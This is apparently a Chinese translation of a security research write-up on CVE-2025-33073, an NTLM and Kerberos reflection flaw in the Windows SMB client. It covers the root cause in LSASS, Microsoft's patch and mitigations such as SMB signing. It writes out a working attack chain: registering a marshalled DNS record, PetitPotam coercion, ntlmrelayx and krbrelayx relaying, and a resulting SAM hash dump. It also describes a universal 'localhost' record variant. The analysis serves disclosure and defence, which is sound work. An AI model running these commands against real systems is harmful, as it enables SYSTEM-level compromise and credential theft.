白帽故事 · 2025年7月31日

CVE-2025-33073 深度分析

引言

NTLM反射是NTLM认证中一种特殊的中继攻击形式,在此攻击中,原始认证被反射回发起认证的同一台机器。

该类漏洞最早在MS08-68中被公开,微软阻止了SMB到SMB的NTLM反射,此后又发现并修补了其它攻击向量,如HTTP到SMB反射(MS09-13补丁)以及DCOM到DCOM反射(MS15-076补丁)。

目前普遍认为NTLM反射攻击已被修复,但研究表明绕过缓解措施依然可行,只需深入理解缓解机制的真正作用。

最近,一条推文显示Kerberos反射并未被限制,激发了研究人员对认证反射机制的深入研究。

漏洞发现

测试基线设置为一台最新的Windows Server 2022(SRV1),域成员,未强制SMB签名。

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL 192.168.56.3 SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[-] Authenticating against smb://SRV1.ASGARD.LOCAL as ASGARD/SRV1$ FAILED

PetitPotam 将一个系统服务(lsass.exe)强制认证到受控机器,因此接收到了机器账户认证,由于认证来自同一台机器,中继失败。

通过修改监听主机或客户端IP地址参数,注册格式为srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA的DNS记录指向攻击者IP,利用James Forshaw首次提出的技巧,让机器通过Kerberos强制认证到控制的IP。

用该DNS作为监听时,中继竟然成功了,更令人惊讶的是, ntlmrelayx.py 能够远程转储 SAM 文件,这意味着我们中继的身份在机器上具有特权。

这令研究人员感到奇怪,因为机器账户在其关联的机器上没有特权。

$ dnstool.py -u 'ASGARD.LOCAL\loki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3
[-] Adding new record
[+] LDAP operation completed successfully

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: 192.168.56.14

漏洞机理分析

抓包显示,两种中继攻击一个明显的区别是:在主机名为 srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 的中继中,发生了 NTLM 本地认证!相反,当用IP地址作为监听器时,发生了标准的NTLM认证。

NTLM 本地认证是一种特殊情况,其中服务器在NTLM_CHALLENGE消息中通知客户端无需在NTLM_Authenticate消息中计算挑战响应。

相反,服务器在挑战消息中设置“协商本地调用”,创建服务器上下文,将其添加到全局上下文列表中,并将上下文 ID 插入 Reserved 字段。

当客户端接收到 NTLM_CHALLENGE 消息时,它理解必须进行本地 NTLM 认证,然后,它将其令牌添加到通过 Reserved 字段传递的服务器上下文中。

由于客户端和服务器位于同一台机器上,所有操作都在同一个 lsass.exe 进程中发生,最终,客户端发送回一个几乎为空的 NTLM_AUTHENTICATE 消息,服务器使用添加到其上下文中的令牌来执行进一步操作(在 本案例中通过 SMB 进行)。

以下是使用 IP 地址作为监听器时服务器返回的 NTLM_CHALLENGE 消息的网络抓包,可以看到 NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000)位在协商标志中未启用,并且 Reserved 标志为 NULL。

当转发失败时,NTLM_CHALLENGE 消息

在另一个网络抓包中,标志被设置, Reserved 值不为空:

当中继正常工作时,会出现 NTLM_CHALLENGE 消息

要决定是否需要进行本地 NTLM 身份验证,服务器根据 NTLM_NEGOTIATE 消息中的两个字段做出决策:工作站名称和域。

msv1_0!SsprHandleNegotiateMessage 函数检查客户端是否提供了工作站名称和域名,如果是,则将其与当前机器名称和域名进行比较。如果它们相等,服务器会在挑战消息中包含 NTLMSSP_NEGOTIATE_LOCAL_CALL 标志,创建服务器上下文并将其 ID 添加到 Reserved字段。下面是代码的简化版本:

NTSTATUS SsprHandleNegotiateMessage([...])
{
    Context = LocalAlloc(0x160);
[...]
    if ( RtlEqualString(&ClientSpecifiedWorkstationName, &NtLmGlobalOemPhysicalComputerNameString, 0) && RtlEqualString(&ClientSpecifiedDomainName, &NtLmGlobalOemPrimaryDomainNameString, 0) )
    {
        Context->Id = NtLmGlobalLoopbackCounter + 1;
        ChallengeMessage->Flags |= NTLMSSP_NEGOTIATE_LOCAL_CALL;
        InsertHeadList(&NtLmGlobalLoopbackContextListHead, Context);
        ChallengeMessage->ServerContextHandle = Context->Id;
    }
[...]
}

网络抓包证实了这一分析:当本地身份验证被协商时, NTLM_NEGOTIATE 消息包含了客户端的工作站名称和域名:

当中继正常工作时,NTLM_NEGOTIATE 消息

而在另一种情况下,字段都被设置为 NULL:

当中继失败时,NTLM_NEGOTIATE 消息

这种行为差异表明,客户端将 DNS 记录 srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 识别为与 localhost 等效,并提示服务器应考虑 NTLM 本地认证。

根本原因

要了解漏洞的根本原因,需要追溯到了由 SMB 客户端( mrxsmb.sys )进行的身份验证上下文初始化过程。

当它检测到需要进行身份验证时,会调用 ksecdd!AcquireCredentialsHandle 函数(该函数向 LSASS 发起 RPC 调用以访问相应的用户模式函数),并使用 Negotiate 包来获取当前用户的凭证句柄。

随后,客户端调用 ksecdd!InitializeSecurityContextW ,这也是一个向 LSASS 发起的 RPC 调用,根据身份验证强制是通过 IP 地址还是 DNS 记录进行的,传递给 InitializeSecurityContextW 的目标名称可能看起来像:

  • cifs/192.168.56.3
  • cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

该函数的用户模式入口点是 lsasrv!SspiExProcessSecurityContext ,函数调用 lsasrv!LsapCheckMarshalledTargetInfo 来剥离可能存在于目标名称中的序列化目标信息。

NTSTATUS LsapCheckMarshalledTargetInfo(UNICODE_STRING *TargetName)
{
[...]
    status = CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, &TargetInfoSize);
    if (NT_SUCESS(status))
    {
        Length = TargetName->Length;
        TargetName->MaximumLength = TargetName->Length;
        TargetName->Length = Length - TargetInfoSize;
    }
[...]
    return status;
}

调用此函数后,目标名称现在看起来像:

  • cifs/192.168.56.3
  • cifs/srv1

然后 LSASS 调用协商的认证包(在我们的例子中是 NTLM),更具体地说是 msv1_0!SpInitLsaModeContext 函数。

由于需要构造一个 NTLM_NEGOTIATE 消息,因此调用 msv1_0!SsprHandleFirstCall 。在这个函数内部,执行了多个检查,以决定是否在 NTLM_NEGOTIATE 消息中包含工作站和域名:

NTSTATUS SsprHandleFirstCall(
        HANDLE CredentialHandle,
        NTLM_SSP_CONTEXT **SspContext,
        ULONG fContextReq,
        int a4,
        PSSP_CREDENTIAL Credential,
        UNICODE_STRING *TargetName,
        _DWORD *a7,
        void **a8,
        LARGE_INTEGER SystemTime,
        LARGE_INTEGER *a10,
        _OWORD *a11,
        LARGE_INTEGER LocalTime)
{
    SspCredentialReferenceCredentialEx(CredentialHandle, 0, 1, &Credential);
[...]
    SspIsTargetLocalhost(1, TargetName, &SspContext->IsLoopbackAllowed);
[...]
    if (!SspContext->IsLoopbackAllowed && !NtLmGlobalDisableLoopbackCheck
        || (fContextReq & ISC_REQ_NULL_SESSION) != 0
        || Credential->DomainName
        || Credential->UserName
        || Credential->Password) {
        SspContext->CheckForLocal = FALSE;
    } else {
        SspContext->CheckForLocal = TRUE;
    }
[...]
    if (SspContext->CheckForLocal) {
        RtlCopyAnsiString(WorkstationName, NtLmGlobalOemPhysicalComputerNameString);
        RtlCopyAnsiString(DomainName, NtLmGlobalOemPrimaryDomainNameString);
        NegotiateMessage->OemWorkstationName =  WorkstationName;
        NegotiateMessage->OemDomainName =  DomainName;
    }
[...]

首先,使用 msv1_0!SspIsTargetLocalhost 函数来确定目标名称是否与当前机器对应,为此,将服务类( 192.168.56.3 或 srv1 )之后的部分(不区分大小写)与几个字符串进行比较:

  • 机器的FQDN ( SRV1.ASGARD.LOCAL )
  • 机器的主机名( SRV1 )→ 在本文的情况下,完美匹配!
  • localhost

如果没有匹配,目标名称被视为 IP 地址,并与当前机器分配的所有 IP 地址进行比较。如果之前的检查都没有通过,那么目标名称被认为是与当前机器不同。

最后,如果满足以下所有条件,工作站和域名将被包含在 NTLM_NEGOTIATE 消息中:

  • 目标机器
  • 客户端没有要求 NULL 认证
  • 使用当前用户的凭证(未指定明确凭证)

在本文的情况下,所有这些条件都成立,这就是为什么当使用名称 srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 进行强制时,SMB 客户端会提示服务器进行本地 NTLM 身份验证。

最后一个问题是:为什么我们在机器上拥有特权?

PetitPotam 强制 lsass.exe 向我们的服务器进行身份验证,而 lsass.exe 以 SYSTEM 身份运行。

当客户端(lsass.exe)收到表示必须执行本地 NTLM 身份验证的 NTLM_CHALLENGE 消息时,它会将其 SYSTEM 令牌复制到服务器上下文中,当服务器收到 NTLM_AUTHENTICATE 消息时,它会从上下文对象中检索令牌,并通过 SMB(在本文案例中,使用远程注册表服务来转储 SAM 数据库并入侵机器)进行模拟以执行进一步操作。

作为一个小彩蛋,研究人员注意到可以通过注册单个 DNS 记录来攻击任何易受攻击的机器: localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

确实,当从目标名称中剥离了打包的目标信息后,只剩下 localhost ,这意味着 msv1_0!SspIsTargetLocalhost 中的检查也会通过,无论机器的主机名是什么。

Kerberos情况

Kerberos反射同样可行。虽krbrelayx.py工具表示时支持Kerberos,但实际协商过程中检测名字为本机,强制转用NTLM。移除NTLM支持后,同样可成功利用Kerberos进行认证中继,获得SYSTEM令牌并转储SAM。

$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[-] No negTokenInit sent by client

Kerberos漏洞机理涉及Kerberos协议中的AP-REQ子密钥机制,系统使用全局子密钥列表关联SYSTEM账户的令牌,从而在验证AP-REQ时,凭借子密钥匹配确认,生成的令牌也被赋予SYSTEM权限。(详细分析可参看原文)

微软补丁分析与建议

微软将 CVE-2025-33073 视为SMB客户端漏洞。补丁修改了mrxsmb.sys 驱动,拦截并阻止携带编组目标信息的目标名,阻止使用带有该信息的伪造目标名发起连接。

补丁有效修复了利用这种编组目标名诱导本地NTLM认证的漏洞,并阻止了通过DNS记录强制Kerberos认证到控制机的攻击。

建议:

  • 及时应用微软官方补丁
  • 强制启用SMB签名作为防御加固,即使未打补丁,也能够阻止此漏洞利用

结论

CVE-2025-33073实质上是未强制SMB签名环境下,允许认证远程攻击者以SYSTEM权限执行命令的漏洞,通过细致的测试、抓包和LSASS内部分析,本文全面阐述了漏洞流程及微软补丁的修复机制。

该漏洞也说明了实施多层防御(如SMB签名)在对抗零日攻击中的重要价值。感谢所有独立报告此漏洞的研究人员。

以上内容由骨哥翻译并精校。

原文:https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025